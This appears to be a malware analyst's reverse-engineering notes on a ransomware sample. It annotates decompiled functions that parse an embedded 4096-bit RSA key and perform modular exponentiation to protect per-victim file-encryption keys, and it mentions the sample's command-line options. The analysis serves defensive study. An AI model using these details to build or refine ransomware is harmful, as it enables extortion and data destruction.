val = FUN_14008a510(&local_18);
// store this derived value at [RDI]
param_1[0] = val;
free(local_18);
// return param_1[0] > 0
return (param_1[0] > 0);
}
FUN_14008a020 – returns size/length of each subcomponent.
It checks size(0x58) + size(0x28) <= size(0x18). This is a consistency constraint on the internal parameters.
Then it uses FUN_140089570 to combine [+0x18] and [+0x28] into a temporary big structure and FUN_14008a510 to derive a scalar from it, stored at [param_1].
This appears to be:
Some private-key / CRT parameter sanity check (e.g., p, q, n relationships),
Or some key-derived value like a block size, max chunk, or “window size” computed from multiple bignums.
FUN_14008a630 is used only when the secondary context is present – i.e., when FUN_14008a850 runs the more complex path (public+private / extra parameters).
FUN_14008a630 is a “secondary key finalizer” that validates the relationships between three big values and computes a derived scalar, stored at offset 0 of this ExtKeyCtx.
4. FUN_14008a6d0 – applying key material to a higher-level structure
Decompiled / annotated:
undefined8 __fastcall FUN_14008a6d0(
ulonglong * param_1, // outer context
undefined8 param_2,
undefined * param_3,
ulonglong param_4,
undefined8 * param_5,
int * param_6)
{
// save RBX/RDI etc.
ulonglong *outer = param_1;
undefined8 arg_from_stack_5 = *param_5;
int *arg_from_stack_6 = param_6;
// param_1 becomes *outer (first field of outer struct)
param_1 = (ulonglong *)outer[0];
// stash param_5 and param_6 on stack as local_18/local_10
local_10 = arg_from_stack_6;
local_18 = arg_from_stack_5;
// call FUN_14008bc30 on inner key structure
if (FUN_14008bc30(param_1, param_2, param_3, param_4, &local_18, &local_10) == 0) {
return 0;
}
// If good, call FUN_1400897b0 with:
// param_1 = param_6 (RDI),
// param_2 = param_6 (again),
// param_3 = &outer[3] (outer+0x18),
// param_4 = &outer[1] (outer+0x8)
FUN_1400897b0(
arg_from_stack_6, // param_1
arg_from_stack_6, // param_2
(undefined8 *)(outer + 3), // param_3
(ulonglong)(outer + 1)); // param_4
return 1;
}
We now have two levels:
Inner key engine / algorithm context: pointer in outer[0]. That’s what FUN_14008a580, FUN_14008a730, FUN_14008a850 operate on.
Outer context: wraps that key engine and adds per-use state (buffers, IVs, etc).
FUN_14008a6d0 does:
Take outer[0] → that’s the key engine object.
Call FUN_14008bc30 with:
the key engine,
some additional buffers / metadata (param_2..param_4, plus what’s in param_5, param_6),
validating input (e.g., a header, a blob, or a per-victim key block).
If that succeeds, call FUN_1400897b0 with:
param_6 (probably some buffer or structure with key material),
outer+1 and outer+3 as output locations / associated state.
This looks very much like:
“Apply this key material to this crypto context and bind it to this outer state object”.
Given where FUN_14008a6d0 is referenced (FUN_1400844f0 and a high-level export), it’s used when:
The malware receives or reads new key material,
Which must be interpreted/verified using the RSA key (the one loaded from 0x1400FB080),
stored as the working symmetric key / session parameters inside the outer context that the encryptor threads use.
5. FUN_14008a730 – (key import)
We already walked this, but now with FUN_14008a580 plugged in, the flow is:
bool FUN_14008a730(
ulonglong *param_1, // main key engine
ulonglong *param_2, // optional secondary engine (ExtKeyCtx)
uint param_3, // size limit / mode
longlong param_4, // numeric (from atoi / config)
longlong param_5) // pointer to data (0x1400FB080)
{
longlong local_38[3];
int local_20;
int iVar2 = FUN_14008be80(local_38, param_4, param_5); // parse TLV / setup context
if (iVar2 != 2) return false;
// Complex case: we have a secondary object
if (param_2 != NULL) {
return FUN_14008a850(param_1, param_2, param_3, local_38);
}
// Simple case: bare 2-integer key
if (local_20 == 0x1010) {
if (FUN_14008bd10(local_38) == 1) {
// First INTEGER -> param_1+1 (modulus)
if (!FUN_14008bd50((longlong)local_38,(int *)(param_1 + 1),param_3)) return false;
if (FUN_14008a010((longlong)(param_1 + 1)) <= 0) return false;
// Advance to next element, expect local_20 == 2
if (FUN_14008bea0(local_38) != 1 || local_20 != 2) return false;
// Second INTEGER -> param_1+3 (exponent or similar)
if (!FUN_14008bd50((longlong)local_38,(int *)(param_1 + 3),param_3)) return false;
if (FUN_14008a010((longlong)(param_1 + 3)) <= 0) return false;
// Final sequence end
if (FUN_14008bea0(local_38) != 3) return false;
// Finalize key
if (!FUN_14008a580(param_1)) return false;
return true;
}
}
return false;
}
in the exact call we have from FUN_1400846b0:
FUN_14008a730(ctx18, ctx20, 0, uVar13, 0x1400FB080);
ctx18 = first allocated 0x28-byte object → main key engine.
ctx20 = second allocated 0x68-byte object → extended key context.
param_3 = 0 → no size limit?
param_4 = uVar13 from atoi(some_string) – used by FUN_14008be80 in some TLV-related way.
param_5 = 0x1400FB080 → pointer to DER-encoded RSA key.
Due to param_2 != NULL, the actual parsing goes through FUN_14008a850 (the more complex path that presumably populates both ctx18 and ctx20), and eventually calls FUN_14008a580 and FUN_14008a630 as finalizers.
6.1. High-level design
The binary embeds a hard-coded RSA key blob at 0x1400FB080. The bytes starting at 0x1400FB080 decode as:
30 82 02 0A → ASN.1 SEQUENCE, length 0x020A (522 bytes).
02 82 02 01 00 ... → ASN.1 INTEGER, length 0x0201 (513 bytes: 1 leading 0x00 + 512 bytes), which is a 4096-bit RSA modulus.
The code implements a homemade ASN.1 / bignum / RSA stack, not using any standard library.
This RSA key is used as a root public key for the malware’s cryptographic operations. It does not directly encrypt file data (too slow); instead it is used to:
Encrypt and verify per-victim symmetric keys,
validate signed configuration/key blobs from the attacker.
Actual file encryption is handled by a symmetric cipher elsewhere (AES/ChaCha), using keys that are set up via these contexts.
6.2. Initialization path
Main function (FUN_14004d4c0) parses command-line parameters (--encryption_path, --share_file, --encryption_percent, -dellog), sets up logging and thread counts, then calls:
uVar13 = atoi(...);
FUN_1400846b0(crypto_ctx, uVar13, 0x1400FB080, 1);
FUN_1400846b0 – Crypto engine initialization
Verifies that the context is unused: [ctx+0x18], [ctx+0x20], two flags at [ctx+2], [ctx+3].
Allocates first sub-object (main key engine) at [ctx+0x18], calls FUN_14008a550 to initialize it.
If the flag (param_4 / BPL) says so, allocates second sub-object at [ctx+0x20], calls FUN_14008a5e0 to zero/initialize it.
Calls:
ok = FUN_14008a730(ctx18, ctx20, 0, uVar13, 0x1400FB080);
If ok:
Sets [ctx+2] = 1 – “key loaded” / “crypto ready”.
If param_4 != 0, calls FUN_140084850(ctx) (likely a self-test using both contexts).
On errors: returns negative codes (0xFFFFFFF9, 0xFFFFFFFD).
FUN_14008a730 – Key import / ASN.1 parsing
Uses FUN_14008be80 to interpret param_4 / param_5 as a TLV stream starting from 0x1400FB080 (and some length/offset from uVar13).
If both param_1 and param_2 are non-null, it follows the extended path via FUN_14008a850, which:
Parses modulus, exponent, and possibly additional RSA components,
Populates both ctx18 (primary) and ctx20 (extended) with bignums,
Calls FUN_14008a580 to compute and record the effective key length (bits→bytes, min 96 bits),
Calls FUN_14008a630 to check inter-parameter relationships and to derive an additional scalar in ctx20.
FUN_14008a580 – Key size / sanity finalize
Reads algorithm flags and the key’s mode flag.
If enabled, computes the key’s modulus size in bytes (from the big integer at param_1+1) and stores it at param_1[0].
Enforces a minimum key length; for the embedded RSA key this will be ~512 bytes.
FUN_14008a5e0 / FUN_14008a630 – Extended context
FUN_14008a5e0 sets up 6 internal bignum/buffer fields and zeroes [ctx20].
FUN_14008a630 checks the sizes of three of those fields (+[0x58], +[0x28], +[0x18]), ensures size(58)+size(28) <= size(18), and uses FUN_140089570+FUN_14008a510 to compute a derived scalar stored at [ctx20]. This is additional private-key / parameter consistency logic.
6.3. Using the key later (FUN_14008a6d0)
Elsewhere the malware uses:
FUN_14008a6d0(outer_ctx, ..., param_5, param_6);
outer_ctx[0] points to the inner key engine that was initialized.
FUN_14008bc30 uses that key engine and some incoming blob(s) (param_5, param_6, etc.) to validate or transform key data (e.g., decrypt or verify a small block).
If that succeeds, FUN_1400897b0 writes the resulting material into outer_ctx+1 / outer_ctx+3 – think: storing per-victim symmetric key(s), IVs, and counters.
Control flow:
Startup: load embedded RSA key (0x1400FB080) into an internal bignum-based key engine (FUN_1400846b0 → FUN_14008a730).
Derivation: later, when the malware obtains more key material, it runs that material through the inner RSA key engine (FUN_14008bc30 via FUN_14008a6d0) to derive / verify a session key.
Usage: that session key is then stored in the outer context and used by the actual file-encryption code via a symmetric cipher.
7. Who am I?
With all of the above tied together:
The blob at 0x1400FB080 is explicitly a DER-encoded 4096-bit RSA key.
The code around FUN_1400846b0, FUN_14008a730, FUN_14008bd50, FUN_14008be00, FUN_14008a580, FUN_14008a630, and FUN_14008a6d0 is a custom RSA/ASN.1 implementation used to:
Load that key,
Check its consistency,
Compute key-length and additional parameters,
And later apply that key to per-victim key blobs.
File data itself is not encrypted with RSA; RSA here is for key exchange / key protection. The actual data encryption is done by a symmetric cipher.
Identity – A signature renamed –
// rop = base^exp mod mod
// mpz-like bignum structures everywhere
void FUN_1400897b0(
int *param_1, // rop (result mpz)
uint *param_2, // base (mpz)
longlong param_3,// exp (mpz)
uint *param_4 // mod (mpz)
);
Error strings:
"mpz_powm: Zero modulo."
"mpz_powm: Negative exponent and non-invertible base."
The structure of the loop: walk exponent limbs from MSB to LSB, scan each bit with a mask 0x80000000, doing square-and-multiply.
The big-int helper calls:
FUN_1400865e0, FUN_1400868f0, FUN_140085b50, FUN_140085fa0, FUN_1400862b0, FUN_140086b80, FUN_140086b00 – all clearly limb-array operations (mul/add/mod/reduce).
FUN_140089360 – modular inverse (used for negative exponent).
The way it writes the result back into param_1 at the end: [param_1] = sign/len; [param_1+1] = limb count; [param_1+2] = pointer.
So functionally, this is:
mpz_powm(rop, base, exp, mod) – modular exponentiation with support for negative exponents.
Internally it uses a sign+length+pointer mpz layout and 32-bit limbs.
MPZ Layout :
From this and the other functions, we can think of each bignum as:
typedef struct {
int sign_or_alloc; // sometimes used as sign, sometimes as alloc
uint32 nlimbs; // number of active limbs
uint32 *limbs; // pointer to array of limbs (little-endian)
} mpz_t_like;
In this function:
For an mpz pointer X (uint * or int * here):
X[0] – sign/alloc-ish (sometimes used as “allocated size”, sometimes sign).
X[1] – nlimbs (number of 32-bit words).
*(uint**)(X+2) – pointer to limb buffer.
You can see at the end:
int old_alloc = *param_1;
void *old_ptr = *(void **)(param_1 + 2);
param_1[1] = uVar7; // new nlimbs
*param_1 = iVar14; // new alloc/sign
*(uint **)(param_1 + 2) = puVar5; // new limb buffer
if (old_alloc != 0) free(old_ptr);
param_1 is a GMP-style mpz struct.
High-level flow of FUN_1400897b0
Argument roles
Correlating with the decompiled version:
void FUN_1400897b0(
int *rop, // param_1 - result mpz (will be overwritten)
uint *base, // param_2 - base mpz
longlong exp, // param_3 - exponent mpz
uint *mod // param_4 - modulus mpz
);
*(uint*)(exp + 4) → exponent limb count (possibly signed).
mod[1] → modulus limb count.
*(longlong*)(mod + 2) → modulus limbs pointer.
Similar pattern for base.
basic checks
Early on:
// abs(exponent length)
iVar18 = abs(*(int *)(param_3 + 4));
uVar10 = abs(param_4[1]); // modulus length
if (uVar10 == 0) {
FUN_1400859f0("mpz_powm: Zero modulo.", ...);
int3; // crash
}
if (iVar18 == 0) {
// exponent == 0 ⇒ result = 1 (mod anything non-zero)
FUN_140089f70(rop, 1);
return;
}
Therefore:
Zero modulus → “mpz_powm: Zero modulo.” and INT3.
Zero exponent → rop is set to 1 and returns.
normalize modulus and maybe preprocess
puVar5 = *(uint **)(param_4 + 2); // modulus limbs
FUN_1400861d0((int *)local_78, puVar5, uVar10);
local_64 = local_78[0]; // some “precompute” flag/parameter
local_80 = puVar5; // modulus pointer
if (local_78[0] != 0) {
// allocate fresh buffer for modulus copy
local_78[0] = 0;
local_80 = malloc(uVar10 * 4);
local_48 = local_80;
// FUN_140086860 copies/prepares modulus into local_80
FUN_140086860((longlong)local_80, (longlong)puVar5, uVar10, (byte)local_64);
}
FUN_1400861d0 analyzes modulus and sets local_78[0] as some kind of preprocessing flag.
If needed, it allocates a separate copy local_80 and normalizes it via FUN_140086860.
Later, local_80 is passed to all reduction functions as the “modulus” argument.
handle negative exponent
Check exponent sign:
if (*(int *)(param_3 + 4) < 0) {
// Negative exponent: need inverse of base
bool ok = FUN_140089360((uint *)&local_60, base, mod);
if (!ok) {
FUN_1400859f0(
"mpz_powm: Negative exponent and non-invertible base.",
base, mod, ...);
int3;
}
local_90 = local_58; // inverse’s limb pointer
local_94 = (uint)local_60; // inverse’s limb count
local_res20 = local_60._4_4_; // (high dword)
} else {
// Exponent >= 0: use the original base
...
}
If exponent < 0, it computes base⁻¹ mod mod via FUN_140089360.
If that fails (non-invertible), it raises the mpz_powm error and blows up.
negative exponents are allowed but probably never used for the RSA key; this is just generic code lifted from GMP.
prepare base = base mod mod
In the non-negative exponent path, it:
Copies the base’s limbs into a local buffer local_90.
Normalizes local_res20 to the positive limb count.
If base >= mod, it reduces:
if ((int)uVar10 <= (int)local_res20) {
FUN_1400865e0(0, local_90, local_res20,
(longlong)local_80, uVar10, (int *)local_78);
local_res20 = uVar10;
}
If the original base had negative sign (*puVar5 < 0), it adjusts it to a positive representative in [0, mod) via FUN_140086b80.
Then it trims top zero limbs from local_90 (standard big-int normalization).
at this point:
local_90 = base mod mod, local_res20 = its limb length.
initialize accumulator
puVar5 = malloc(4); // 1 limb
uVar7 = 1;
*puVar5 = 1; // accumulator = 1
uVar1 = local_78[0];
local_78[0] = local_64; // restore precompute flag
puVar5 is the accumulator representing the current result (starts as 1).
uVar7 tracks the current limb length of puVar5.
main square-and-multiply loop
This is the big block:
// iVar18 = abs(exponent limb count) from earlier
for (local_50 = (longlong)(iVar18 - 1); local_50 >= 0; local_50--) {
local_88 = 0x80000000;
local_68 = *(uint *)(*(longlong *)(param_3 + 8) + local_50 * 4); // exp word
do {
local_78[0] = uVar1; // store precompute flag temporarily
// --- 5.1 Square step ---
if (uVar7 == 0) {
puVar6 = puVar5; // degenerate, shouldn't really happen
} else {
// allocate temp for res^2
local_98 = ...; // computed number of limbs
puVar6 = malloc(local_98 * 4);
// FUN_1400868f0: big-int multiply
FUN_1400868f0(puVar6, puVar5, uVar7, puVar5, uVar7);
// normalize result length (uVar7 = new len)
...
// free old buffer if needed
}
puVar5 = puVar6; // accumulator = accumulator^2
// --- 5.2 Multiply step, if bit = 1 ---
if ((local_68 & local_88) != 0) {
if (uVar7 == 0 || local_res20 == 0) {
uVar7 = 0; // result becomes zero if any factor zero
} else {
// compute temp = accumulator * base (local_90)
// using FUN_1400868f0 and some length / sign logic
// then reduce modulo mod (via FUN_1400865e0 / 1400862b0 / 140086b00)
...
}
}
// after mul, ensure accumulator < mod (maybe reduce) and normalize
// shift to next bit
local_88 >>= 1;
uVar1 = local_78[0];
} while (local_88 != 0);
local_78[0] = local_64; // restore flag
}
Outer loop over exponent limbs (most significant → least).
Inner loop over bits in each limb from MSB (0x80000000) down to LSB.
At each bit:
Square the accumulator.
If bit is 1: multiply accumulator by base, modulo the modulus.
There are some optimizations:
The computations involving EBX, R13D, R15D, local_98, R12D etc. are about:
Minimizing reallocation,
Controlling how many limbs to allocate,
Possibly doing a 2-bit or more advanced window, but in practice it still behaves like a classic left-to-right binary exponentiation.
final modular reduction & cleanup
At the end of the bit loops, there’s a final “ensure result < mod” step:
if ((int)uVar10 <= (int)uVar7) {
FUN_1400865e0(0, puVar5, uVar7,
(longlong)local_80, uVar10, (int *)local_78);
uVar7 = uVar10;
// trim high zeros again...
}
Then it frees temporary buffers (local_48, local_90 etc.), and finally writes into rop:
int old_alloc = rop[0];
void *old_ptr = *(void **)(rop + 2);
rop[1] = uVar7; // limb count
rop[0] = iVar14; // alloc/sign (captured before)
*(uint **)(rop + 2) = puVar5; // limb pointer
if (old_alloc != 0) free(old_ptr);
if (local_94 != 0) free(local_90);
on exit:
rop contains base^exp (mod mod), fully normalized, and all temporaries are freed.
How it’s used with the RSA key
Recall from FUN_14008a6d0 :
; RBX = key context (inner engine)
; RDI = param_6 from caller (a mpz-like bignum)
CALL FUN_14008bc30 ; validate some blob with the key
TEST EAX,EAX
JZ fail
LEA param_4,[RBX + 0x8] ; &key_ctx->modulus_mpz
MOV param_2,RDI ; base = arg mpz
LEA param_3,[RBX + 0x18] ; &key_ctx->exponent_mpz
MOV param_1,RDI ; rop = same mpz (in-place)
CALL FUN_1400897b0 ; mpz_powm(rop, base, exp, mod)
So semantically:
// inside FUN_14008a6d0
// 'inner' is the RSA key engine (ctx with modulus & exponent fields)
// 'x' is the mpz pointer we got from the caller (param_6)
// use same mpz as input and output
mpz_powm(x, x, inner->exp, inner->mod); // x = x^exp mod n
Where:
inner->mod is the big modulus we parsed from the DER blob at 0x1400FB080.
inner->exp is the second ASN.1 INTEGER we parsed (likely the public exponent, e.g. 65537).
In pure RSA terms, this is exactly:
RSA modular exponentiation: x ← x^e mod N for whichever exponent e lives in the key structure.
If e is a public exponent and N is the public modulus:
FUN_1400897b0 is used to encrypt or verify (e.g. verify a signature or encrypt a per-victim AES key).
If somehow this is a private exponent (less likely given we’ve only clearly seen modulus, but possible if the DER blob includes more INTs), then it’s used to decrypt or sign.
Either way: this is the core “RSA math engine”.
Key import FUN_14008a730 parses the DER blob at 0x1400FB080, extracts:
modulus → mpz at offset +0x08.
exponent → mpz at offset +0x18.
FUN_14008a580 computes and stores key size ( 4096 bits).
FUN_14008a630 does extended-parameter sanity/derivation in the secondary ctx.
RSA math engine FUN_1400897b0 is mpz_powm(rop, base, exp, mod) implementing modular exponentiation with optional negative exponents.
Using RSA to transform key material FUN_14008a6d0 calls:
FUN_1400897b0(x, x, &key_ctx->exp, &key_ctx->mod);
where x is some mpz read from a blob / C2. This is the RSA transform used to:
Decrypt/verify a small block (likely a per-victim symmetric key or config),
Then store the result into the outer crypto context for later symmetric encryption.
The adhesive –
Cleaned-up semantics of FUN_14008a6d0
undefined8
FUN_14008a6d0(ulonglong *param_1,undefined8 param_2,undefined *param_3,ulonglong param_4,
undefined8 *param_5,int *param_6)
{
undefined8 uVar1;
uVar1 = FUN_14008bc30(*param_1,param_2,param_3,param_4,param_5,param_6);
if ((int)uVar1 != 0) {
FUN_1400897b0(param_6,(uint *)param_6,(longlong)(param_1 + 3),(uint *)(param_1 + 1));
return 1;
}
return 0;
}
Assembly confirms that:
param_1 (RCX) → key/engine context
param_6 (from stack) → RDI → passed twice to FUN_1400897b0
param_1 + 1 → passed as the modulus mpz
param_1 + 3 → passed as the exponent mpz
FUN_14008bc30 is called first, using *param_1 (the first qword inside the context) plus param_2..param_6.
conceptually:
// Better naming
// ctx: RSA engine (holds modulus, exponent, and some other fields)
// msg: big integer buffer (mpz-like) that will hold the input and then the result
// buf/len/extra are used to parse/validate/build 'msg' before exponentiation.
bool rsa_apply_with_parse(
rsa_ctx *ctx, // param_1
uint64_t tag_or_type,// param_2
uint8_t *buf, // param_3
uint64_t buf_len, // param_4
void *extra, // param_5
mpz_like *msg) // param_6
{
// Step 1: parse / validate input into 'msg'
// *ctx_field0 is some inner sub-ctx or vtable; exact type not critical.
if ( FUN_14008bc30(*ctx, tag_or_type, buf, buf_len, extra, msg) != 0 )
{
// Step 2: perform RSA: msg = msg^exp mod mod
FUN_1400897b0(
/*rop*/ msg, // result (in-place)
/*base*/ (uint*)msg, // base = same mpz
/*exp*/ (long long)(ctx + 3), // exponent mpz inside ctx
/*mod*/ (uint*)(ctx + 1)); // modulus mpz inside ctx
return true;
}
return false;
}
FUN_14008a6d0 = “Parse input into a big integer with FUN_14008bc30, then apply RSA modular exponentiation in place using the key stored in the context.”
Structure layout implied by this call
From this and the earlier functions:
param_1 points to an RSA engine / inner key structure, roughly:
struct rsa_inner_ctx {
uint64_t dispatch_or_handle; // [0] used as first arg to FUN_14008bc30
mpz_like modulus; // [ +1 qword → mpz at offset 0x08 ]
mpz_like exponent; // [ +3 qwords → mpz at offset 0x18 ]
// possibly more fields after this…
};
We already saw how FUN_14008a730 populates this structure from the ASN.1/DER blob:
(ctx + 1) ← modulus mpz (first ASN.1 INTEGER).
(ctx + 3) ← exponent mpz (second ASN.1 INTEGER).
FUN_14008a580 computes key length and stores it at ctx[0] or nearby.
FUN_14008a630 builds additional derived parameters into a secondary buffer and writes ctx[0] again.
FUN_14008a6d0 is the point where that key is actually used.
Interaction with FUN_1400897b0 (mpz_powm)
It’s a full-blown mpz_powm implementation:
// rop = base^exp mod mod
void FUN_1400897b0(
int *rop, // result mpz (also used as base here)
uint *base, // base mpz
longlong exp, // exponent mpz
uint *mod); // modulus mpz
It supports negative exponents (via FUN_140089360 modular inverse) and throws:
"mpz_powm: Zero modulo."
"mpz_powm: Negative exponent and non-invertible base."
In FUN_14008a6d0, the call is:
FUN_1400897b0(
param_6, // rop: mpz buffer holding the message
(uint *)param_6, // base: same mpz (in-place)
(longlong)(param_1 + 3), // exponent: ctx->exponent
(uint *)(param_1 + 1)); // modulus: ctx->modulus
semantically:
Compute msg = msg^exponent mod modulus, where msg is whatever FUN_14008bc30 parsed out of the incoming blob, and exponent/modulus come from the key previously loaded from ASN.1.
That is the RSA core.